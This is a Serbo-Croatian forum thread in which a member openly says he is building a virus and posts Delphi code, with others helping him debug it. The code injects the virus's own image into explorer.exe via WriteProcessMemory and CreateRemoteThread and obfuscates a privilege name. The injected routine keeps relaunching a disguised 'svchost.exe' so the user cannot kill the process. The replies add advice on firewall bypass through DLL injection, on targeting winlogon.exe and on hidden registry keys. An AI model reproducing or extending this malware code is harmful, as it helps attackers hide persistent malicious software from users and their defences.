Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

WriteProcessMemory, CreateRemoteThread blabla, gde je greska ?

[es] :: Zaštita :: WriteProcessMemory, CreateRemoteThread blabla, gde je greska ?

[ Pregleda: 2075 | Odgovora: 11 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

reiser

Član broj: 7895
Poruke: 2314



+102 Profil

icon WriteProcessMemory, CreateRemoteThread blabla, gde je greska ?29.10.2004. u 17:37 - pre 236 meseci
Nasao sam na net-u jedan primer u Delphi-u koji pomocu WriteProcessMemory i CreateRemoteThread izvrsava jednu proceduru pod explorer.exe... Evo tog koda, kad startujem primer, on radi, medjutim kad ga iskopiram u moj virus, i malo izmenim, explorer.exe se crashuje...

Code:

function DefendProcess(p : pointer) : LongWord; stdcall;
begin
 // Ovo je procedura koja treba da se zapise u memoriji explorer.exe-a
  result := 0;
end;

// Get debug privileges
procedure GetDebugPrivs;
const
  SE_DEBUG_NAME = 'Wa@afqcTvmrmhaca';
var
  hToken : THandle;
  tkp    : TTokenPrivileges;
  retval : DWORD;
begin
  If OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) Then
  Begin
    LookupPrivilegeValue(nil, PAnsiChar(_xor(SE_DEBUG_NAME)), tkp.Privileges[0].Luid);
    tkp.PrivilegeCount := 1;
    tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken, FALSE, tkp, 0, nil, retval);
  End;
end;

procedure WriteImage(hProcess: THandle; Module: Pointer; SizeOfImage: DWORD);
var
  pMem: Pointer;
  NumBytes, dwOldProt, i: longword;
  mbi: TMemoryBasicInformation;
  ptr: Pointer;
begin
  VirtualFreeEx(hProcess, Module, 0, MEM_RELEASE);
  pMem := VirtualAllocEx(hProcess, Module, SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  VirtualQueryEx(hProcess, pMem, mbi ,sizeof(TMemoryBasicInformation));
  While (mbi.Protect <> PAGE_NOACCESS) and (mbi.RegionSize <> 0) Do
  Begin
    If (mbi.Protect <> PAGE_GUARD) Then
    Begin
      i := 0;
      While (i < mbi.RegionSize) Do
      Begin
        ptr := Pointer(LongWord(pMem) + i);
        VirtualProtectEx(hProcess, ptr, $1000, PAGE_EXECUTE_READWRITE, dwOldProt);
        WriteProcessMemory(hProcess, ptr, ptr, $1000, NumBytes);
        i := i + $1000;
      end;
    end;

    pMem := Pointer(LongWord(pMem) + mbi.RegionSize);
    VirtualQueryEx(hProcess, pMem, mbi, sizeof(TMemoryBasicInformation));
  end;
end;

// Protect virus process, so user cannot kill it
procedure ProtectProcess;
var
  hProcess    : Cardinal;
  ProcessId   : Integer;
  Module      : pointer;
  SizeOfImage : LongWord;
begin
  GetDebugPrivs;

  GetWindowThreadProcessId(FindWindow('Progman', nil), @ProcessId);
  hProcess := OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
  Module := Pointer(GetModuleHandle(nil));
  SizeOfImage := PImageOptionalHeader(Pointer(Integer(Module) +
                                      PImageDosHeader(Module)._lfanew +
                                      SizeOf(DWORD) +
                                      SizeOf(TImageFileHeader))).SizeOfImage;
  WriteImage(hProcess, Module, SizeOfImage);
  CreateRemoteThread(hProcess, nil, 0, @DefendProcess, Module, 0, ThreadID);
  CloseHandle(hProcess);
end;


Jos jednom, ovaj kod je skoro ISTI kao i onaj koji sam nasao na net-u, ali ovde prijavljuje gresku... (a kad iskompajliram onaj od net-a, ne)... Izmenio sam samo nacin nalazenja explorer.exe PID-a (ja preko FindWindow, a onaj kod sa net-a preko listanja svih procesa itd...)
Ima li neko neki predlog ?
 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: WriteProcessMemory, CreateRemoteThread blabla, gde je greska ?03.11.2004. u 16:08 - pre 236 meseci
pa ocito si izmjenio nesto sto inace radi. if it ain't broken - don't fix it :)

nije mi jasno zasto ti se explorer rusi, koji si dio koda stavio da ti izvrsava u kontekstu procesa? onaj result := 0 to je povratna vrijednost fje ili neka globalna varijabla result koju postavljas na 0?

ako je ovo zadnje onda je to problem, sav kod koji izvrsavas u kontekstu explorera mora biti offset-independant, sto znaci da ne smije biti nikakvih statickih adresa, blabla...klasicna prica :)

ja sam se ovim zajebavao prije nekoliko godina i sve je radilo ko suza, meta je doduse bio ICQ. cini mi se da su se u novije vrijeme pojavile biblioteke koje sluze za redirekciju winsock fja u kontekst drugog procesa?!

nesto kao, ubaci dll u proces explorera, svi tvoji zahtijevi sa recimo send() recv() se mapiraju koristeci neki mehanizam interprocesne komunikacije u taj dll koji ih dalje prosljedjuje winsocku iz konteksta explorera i tebi vraca nazad povratne vrijednosti. tako se na lak nacin moze premostiti bilo koji lokalni firewall iz bilo kojeg jezika.

ubaci u taj tvoj kod koji izvrsavas u kontekstu explorera odmah na pocetku "int 3" i uhvati ga sa softice pa vidi u cemu je problem.
 
Odgovor na temu

DownBload

Član broj: 1333
Poruke: 310
*.cmu.carnet.hr.



Profil

icon Re: WriteProcessMemory, CreateRemoteThread blabla, gde je greska ?03.11.2004. u 23:22 - pre 236 meseci
sunnis i dalje roxa :-)
Leon Juranic
 
Odgovor na temu

reiser

Član broj: 7895
Poruke: 2314



+102 Profil

icon Re: WriteProcessMemory, CreateRemoteThread blabla, gde je greska ?06.11.2004. u 17:27 - pre 236 meseci
Samo sam stavio :
Code:

GetWindowThreadProcessId(FindWindow('Progman', nil), @ProcessId);
hProcess := OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);

umesto jednog veceg koda koji radi to isto (izlistava sve procese u potrazi za onim cije je ime explorer.exe da bi dobila PID)... Ostalo je sve isto... Prvo sam sumnjao da to sto sam koristio OpenProcess() funkciju ne dozvoljava da baratam sa explorer.exe procesom jer ona mozda otvara neki handle, pa sam pokusao da pozovem i CloseHandle() pre WriteImage(), ali opet nece...

Ofkors, result je povratna vrednost funkcije... Kontam ja da ne mogu da koristim neke promenljive ili pozivam funkcije koje se nalaze u kodu van DefendProcess() funkcije... Btw, i kad je funkcija prazna, znaci samo begin..end, explorer se opet srusi... Inace, funkcija treba da proverava da li postoji virusov proces, ako ne postoji onda da ga izvrsi...

Debagovanjem sam dosao da zakljucka da se
Code:
While (mbi.Protect <> PAGE_NOACCESS) and (mbi.RegionSize <> 0) Do
petlja (koja se nalazi u WriteImage) uopste ne izvrsava ?! Znaci, uopste se ne ulazi u petlju i dolazi do WriteProcessMemory...

Jos jedno pitanje, ako moze da se zapise neka funkcija u memoriju drugog procesa i da se odatle izvrsava, zasto onda ne bi mogao da se zapise ceo virus ? (naravno, da virusov kod izgleda kao jedna velika funkcija sa podfunkcijama/goto labelama ?)
 
Odgovor na temu

reiser

Član broj: 7895
Poruke: 2314



+102 Profil

icon Re: WriteProcessMemory, CreateRemoteThread blabla, gde je greska ?06.11.2004. u 18:08 - pre 236 meseci
Resio sam problem ! Na pocetku sam trebao da stavim {$IMAGEBASE $13140000}... To je valjda adresa gde se ucitavaju DLL-ovi itd...
Btw, iskrsao je novi problem... :(
Cim probam da koristim PAnsiChar ili PChar funkcije (prebacuju string u packed char tip), explorer se srusi... Ne verujem da ove funkcije ne postoje system-wide, tj. u explorer.exe ?? Gde gresim ? Evo celog sourceta DefendProcess() fje :

Code:

function DefendProcess(p : pointer) : LongWord; stdcall;
var
  sInfo   : TStartupInfo;
  pInfo   : TProcessInformation;
  hnd     : THandle;
  PSysDir : Array[0..255] of Char;
  C1, C2  : Integer;
begin
  GetSystemDirectory(PSysDir, 255);
  repeat
    Sleep(400);
    hnd := OpenMutex($00100000, FALSE, 'lIlIM00T3X 0BJ3CTIIlIllI');
    If hnd = 0 Then
    Begin
      FillChar(sInfo, SizeOf(TStartupInfo), 0);
      With sInfo Do
      Begin
        cb := SizeOf(TStartupInfo);
        dwFlags := 1;
        wShowWindow := 0;
      End;
      CreateProcess(nil, PChar(PSysDir + '\directx\dinput\svchost.exe'), nil, nil, FALSE, $00000020, nil, nil, sInfo, pInfo);
      MessageBox(0, 'OK', nil, mb_OK);
    End;
    CloseHandle(hnd);
  until 1 <> 1;
                                    
  result := 0;
end;
 
Odgovor na temu

reiser

Član broj: 7895
Poruke: 2314



+102 Profil

icon Re: WriteProcessMemory, CreateRemoteThread blabla, gde je greska ?07.11.2004. u 20:09 - pre 236 meseci
OK, resio sam problem, sad sve radi 'kao suza' ;)
Sad me zanima, da li mogu da umesto explorer.exe koristim neki proces koji ne moze da se ubije iz nekog process viewer-a, recimo csrss.exe, smss.exe ???
 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: WriteProcessMemory, CreateRemoteThread blabla, gde je greska ?12.11.2004. u 00:48 - pre 235 meseci
session manager spada u kategoriju procesa s kojim se definitivno ne zelis za*ebavati, mada bi vidis bilo zanimljivo pokusati iskoristiti cinjenicu da se radi o procesu cije gasenje uzrokuje BSOD :o)

vidis, sad mi je krivo sto ovo meni nije palo na pamet :) javi jesi uspio, bas me zanima...
 
Odgovor na temu

reiser

Član broj: 7895
Poruke: 2314



+102 Profil

icon Re: WriteProcessMemory, CreateRemoteThread blabla, gde je greska ?12.11.2004. u 19:32 - pre 235 meseci
Ja sam probao da ugasim smss.exe i nisam dobio nikakv BSOD, nista... Racunar je i dalje normalno radio...
Medjutim, uspeo sam to da uradim sa winlogon.exe procesom, cije gasenje kod mene prouzrokuje restartovanje racunara (iskljucio sam vecinu servisa, tako da ne dobijam Access is denied kad pokusam da ubijem proces)... Prethodno sam morao da dobijem debug privilegiju za moj proces, da ne bi dobio ACCESS_DENIED od strane OpenProcess() funkcije.
Samo ostaje jos jedan mali problem... Kad sam testirao, ja sam u kodu direktno zadavao promenljivoj ProcessId vrednost. Kako sa FindWindow da nadjem PID winlogon.exe procesa ? Mislim, da li je moguce posto on nema nijedan prozor ? Ako nije, onda cu to da uradim preko listanja procesa...

poz
 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: WriteProcessMemory, CreateRemoteThread blabla, gde je greska ?14.11.2004. u 23:15 - pre 235 meseci
e da, mea culpa, session manager se izgleda ipak moze ugasiti... premda nakon toga winlogon.exe vise nema roditeljski proces :)

za ovo drugo vidi GetProcessId() API.
 
Odgovor na temu

reiser

Član broj: 7895
Poruke: 2314



+102 Profil

icon Re: WriteProcessMemory, CreateRemoteThread blabla, gde je greska ?14.11.2004. u 23:50 - pre 235 meseci
...
Na kojim sistemima postoji GetProcessId funkcija (negde sam procitao da postoji samo na WinXP SP1+) ? Ja sam je kod mene nasao, samo ne znam sa kojim parametrima da je pozovem... Google nista konkretno nije dao...

Sad ostaje da uradim kreiranje 16-bitnih kljuceva u registry bazi preko NtCreateKey itd... To ce biti cupavo.

poz
 
Odgovor na temu

reiser

Član broj: 7895
Poruke: 2314



+102 Profil

icon Re: WriteProcessMemory, CreateRemoteThread blabla, gde je greska ?15.11.2004. u 01:18 - pre 235 meseci
OK, hvala, to sam i uradio

poz
 
Odgovor na temu

[es] :: Zaštita :: WriteProcessMemory, CreateRemoteThread blabla, gde je greska ?

[ Pregleda: 2075 | Odgovora: 11 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.